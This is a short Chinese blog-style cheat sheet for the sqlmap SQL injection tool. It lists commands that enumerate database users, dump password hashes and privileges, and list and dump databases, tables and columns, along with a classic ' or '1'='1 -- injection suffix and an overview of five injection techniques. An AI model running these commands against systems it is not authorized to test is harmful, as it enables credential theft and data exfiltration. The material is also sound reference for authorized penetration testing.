zoukankan      html  css  js  c++  java
  • SQLmap

    SQLmap常用语法:

    1.判断当前用户是否是dba(数据库管理员):
    python sqlmap.py -u "url" --is-dba

    2.--users:列出数据库管理系统用户:
    python sqlmap.py -u "url" --users

    3.--passwords:数据库用户密码(hash)
    python sqlmap.py -u "url" --passwords
    python sqlmap.py -u "url" --passwords -U sa

    4.查看用户权限
    python sqlmap.py -u "url" --privileges
    python sqlmap.py -u "url" --privileges -U postgres

    5.--dbs可以利用的数据库
    python sqlmap.py -u "url" --dbs

    6.--tables列数据库表
    python sqlmap.py -u "url" --tables -D "db_name"
    -D:指定数据库名称

    7.--columns查看列名
    python sqlmap.py -u "url" --columns -T "table_name" -D "db_name"

    8.--dump -C "column1_name,column2_name,column3_name" 查询字段数据
    python sqlmap.py -u "url" --dump -C "column1_name,column2_name" -T "table_name" -D "db_name"

    --prefix "'" --suffix " or  '1'='1 -- "

    sqlmap -u "sssslog.asp" --data "user_id=eee&password=eee&Submit=%B5%C7+%C2%BC"

    当给sqlmap这么一个url的时候,它会:

    1 、判断可注入的参数
    2 、判断可以用那种SQL 注入技术来注入
    3 、识别出哪种数据库
    4、根据用户选择, 读取哪些数据

    sqlmap支持五种不同的注入模式:

    1 、基于布尔的盲注, 即可以根据返回页面判断条件真假的注入:
    2 、基于时间的盲注, 即不能根据页面返回内容判断任何信昷, 用条件语句查看时间延迟语句是否执行( 即页面返回时间是否增加〕来判断:
    3 、基于报错注入, 即页面会返回错误信昷, 或者把注入的语句的结果亘接返回在页面中:
    4、 联合查询注入, 可以亻吏用union 的情况下的注入:
    5 、堆查询注入, 可以同时执行多条语句的执行时的注入:

    以下是我在网上找到的关于sqlmap写的比较好的文章:

    http://www.91ri.org/6775.html

    https://www.freebuf.com/sectool/179035.html

  • 相关阅读:
    k8s中负载均衡器【ingress-nginx】部署
    利用procedure批量插入数据
    一次socket.error: [Errno 99] Cannot..报错排查
    k8s使用Job执行任务失败了怎么办
    采坑指南——k8s域名解析coredns问题排查过程
    如何批量删除k8s资源对象
    史上最全docker基础知识汇总
    docker镜像制作必备技能
    kubernetes垃圾回收器GarbageCollector源码分析(一)
    python标准库-日志logging
  • 原文地址:https://www.cnblogs.com/52kj/p/12430519.html
Copyright © 2011-2022 走看看